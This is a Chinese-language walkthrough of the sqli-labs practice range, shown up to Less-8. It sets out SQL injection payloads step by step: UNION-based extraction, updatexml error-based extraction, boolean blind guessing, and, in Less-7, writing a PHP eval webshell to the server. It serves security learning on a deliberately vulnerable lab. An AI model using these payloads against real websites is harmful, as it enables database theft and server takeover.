tzyyyyyy

SQL注入从入门到进阶：sqli-labs靶场通关笔记

环境搭建

显错SQL注入基本步骤（以Less-1为例）

1）判断类型

2）构造闭合

3）查询字段数

4）显位

5）爆库

6）爆表

7）爆列

8）爆值

Less-2

Less-3

Less-4

Less-5

updatexml报错

Less-6

Less-7

写马

Less-8

布尔盲注

1）猜解库名长度

2）猜解库名

3）猜解表名

4）猜解列名

Less-9

时间盲注

1）猜解库名长度

2）猜解库名

3）猜解表名

4）猜解列名

Less-10

Less-11

Less-12

Less-13

Less-14

Less-15

Less-16

Less-17

Less-18（由于自身环境问题一直到22题都没有做完）

请求头注入

Less-23

注释过滤

Less-24

二次注入

Less-25

and or过滤

双写绕过

Less-26

and or 注释空格换行过滤

Less-27

Less-28

Less-29

参数污染

Less-30

Less-31

Less-32

宽字节逃逸注入

Less-33

Less-34

Less-35

Less-36

Less-37

Less-38

堆叠注入

Less-39

Less-40

Less-41

Less-42

堆叠注入和update报错

Less-43

Less-44

Less-45

Less-46

Less-47

Less-48

Less-49

Less-50

堆叠写马

Less-51

Less-52

Less-53

Less-54~Less-64

环境搭建

详细环境搭建参考 sql-labs靶场环境搭建（手把手教你如何搭建）_BetterDream的博客-CSDN博客_sql靶场搭建

上述教程出现问题时再参考这个搭建sqli-labs遇到的问题_学习渗漏的小东的博客-CSDN博客

环境搭建完成后进入题目

接下来正式开始SQL注入！

显错SQL注入基本步骤（以Less-1为例）

进入页面后提示输入带有参数的id值

在url网址中进行输入 sql/Less-1/?id=1 查看回显

1）判断类型

?id=1 and 1=1

?id=1 and 1=2

均未报错初步判断字符型注入

?id=1' and 1=1

发现报错

2）构造闭合

字符型注入因为有''的缘故需要构造闭合

?id=1' and 1=1 -- q （--用来注释本行空格加q防止--被浏览器不执行）

成功闭合

3）查询字段数

这里用对分查找思想

?id=1' order by 1 -- q

?id=1' order by 5 -- q

?id=1' order by 3 -- q

?id=1' order by 4 -- q

得出字段数为3

4）显位

?id=1' union select 1,2,3 -- q

此时发现虽然没有报错但是并没有得到回显位置

这是因为id=1的查询结果覆盖了回显只需要将id查询的值调整一下这里我改为100

成功回显

5）爆库

?id=100' union select 1,2,database() -- q

得到数据库名 security

6）爆表

?id=100' union select 1,2,table_name from information_schema.tables where table_schema='security' -- q

7）爆列

?id=100' union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='emails' -- q

8）爆值

?id=100' union select 1,2,id from emails -- q

Less-2

1）判断类型

and 1=1

and 1=2

判断为数字型注入

2）查询字段数

order by 3

order by 4

字段数为3

3）显位

union select 1,2,3 （id值改为100防止覆盖后续题目有被数据覆盖时就不再特意表明了）

4）爆库

union select 1,2,database()

5）爆表

union select 1,2,table_name from information_schema.tables where table_schema='security'

6）爆列

union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='emails'

7）爆值

union select 1,2,id from emails

Less-3

1）判断类型

and 1=1

and 1=2

' and 1=2

判断为字符型注入

2）构造闭合

注意到报错信息中的信息

回推sql语句为

select * from * where id=(' ')

根据语句构造payload

1') and 1=1 -- q

没有报错说明闭合成功

3）显位

union select 1,2,3

4）爆库

union select 1,2,database()

5）爆表

union select 1,2,table_name from information_schema.tables where table_schema='security'

6）爆列

union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='emails'

7）爆值

union select 1,2,id from emails

Less-4

1）判断类型

and 1=1

and 1=2

初步判断为字符型注入

" and 1=2

字符型注入

2）构造闭合

注意报错信息

回推SQL语句为

select * from * where id=(" ")

根据语句构造payload

") and 1=1 -- q

3）查询字段数

order by 3

order by 4

4）显位

union select 1,2,3

5）爆库

union select 1,2,database()

6）爆表

union select 1,2,table_name from information_schema.tables where table_schema='security'

7）爆列

union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='emails'

8）爆值

union select 1,2,id from emails

Less-5

1）判断类型

and 1=1

and 1=2

' and 1=2

字符型注入

2）构造闭合

' and 1=1 -- q

3）查询字段数

order by 3

order by 4

4）显位

union select 1,2,3

发现即使调整了id的值并没有产生回显点

没有显错位的注入可以考虑从盲注入手

但这里先不采用盲注用另一种报错信息方式updatexml来回显

updatexml报错

updatexml(xml_doument,XPath_string,new_value) 第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc 第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。第三个参数：new_value，String格式，替换查找到的符合条件的数据

格式简化 updatexml(xx,concat(xx),xx)

concat函数用来拼接字符

把第二个参数改为非xpath格式就会报错但报错的信息是什么呢？

他会把校验失败的数据爆出来

第一个和第二个参数可以随便写因为我们需要的是第二个参数的报错信息

5）爆库

清楚以上之后接下来继续做题

既然没有回显点那我们就构造updatexml语句

updatexml(1,concat('!',database(),'!'),1)

concat中的 ! 就是错误格式会导致报错

6）爆表

updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1)

limit 0,1 用来查询从第0位开始往后一位的数值

7）爆列

updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'!'),1)

8）爆值

updatexml(1,concat('!',(select id from emails limit 0,1),'!'),1)

Less-6

1）判断类型

and 1=1

and 1=2

" and 1=2

2）构造闭合

" and 1=1 -- q

3）查询字段数

order by 3

order by 4

4）爆库

updatexml(1,concat('!',database(),'!'),1)

5）爆表

updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1)

6）爆列

updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'!'),1)

7）爆值

updatexml(1,concat('!',(select id from emails limit 0,1),'!'),1)

Less-7

本题和以上题目解法不一样涉及到一句话木马内容

前面判断和构造闭合就不重复了重点讲后半部分

闭合为 ?id=1')) -- q

查询字段数

order by 3

order by 4

字段数为3

写马

先检查mysql的配置文件my.ini 是否设置secure这一条经过实测设置完成后需要重启电脑才能生效这是phpstudy的一个小bug

判断完字段数后就进行写马

此语句用法就是将2位置构造函数的数据输出到自己创建的文件shell.php中

放入url中执行

代码如下具体后面的文件路径按自己实际情况来编写不要照搬我的路径

虽然页面报错但是打开Less-7的文件夹发现多了shell.php文件

打开文件

eval会将()中的内容当作php代码进行执行

$_REQUEST用来接受POST GET COOKIE传参

实例

url中输入 sql/Less-7/shell.php?1=phpinfo();

?代表传参后面1=phpinfo();就是传参的值

再之后就可以利用sql登入工具进入到后台取得服务器的权限

Less-8

布尔盲注

按显错步骤往下做的时候发现此题根本没有显错位这个时候就可以利用盲注的方式去尝试

步骤

接下来进行盲注解析

1）猜解库名长度

用对分查找思想

and length(database())>1

and length(database())>10

and length(database())>5

and length(database())>7

and length(database())>8

字段数为8

2）猜解库名

猜解库名就需要用到ASCII码

对照ASCII码进行逐字猜解

猜解时可以参考命名规则 MySQL命名规范_卫星恋天的博客-CSDN博客_mysql命名规范提高效率

(ascii(substr(database(),1,1)))=115 返回正常，说明数据库名称第一位是s

(ascii(substr(database(),2,1)))=101 返回正常，说明数据库名称第一位是e

以此类推

3）猜解表名

(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 如果返回正常说明数据库表名的第一个的第一位是e

以此类推

4）猜解列名

(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105 如果返回正常说明emails表中的列名的第一位是i

Less-9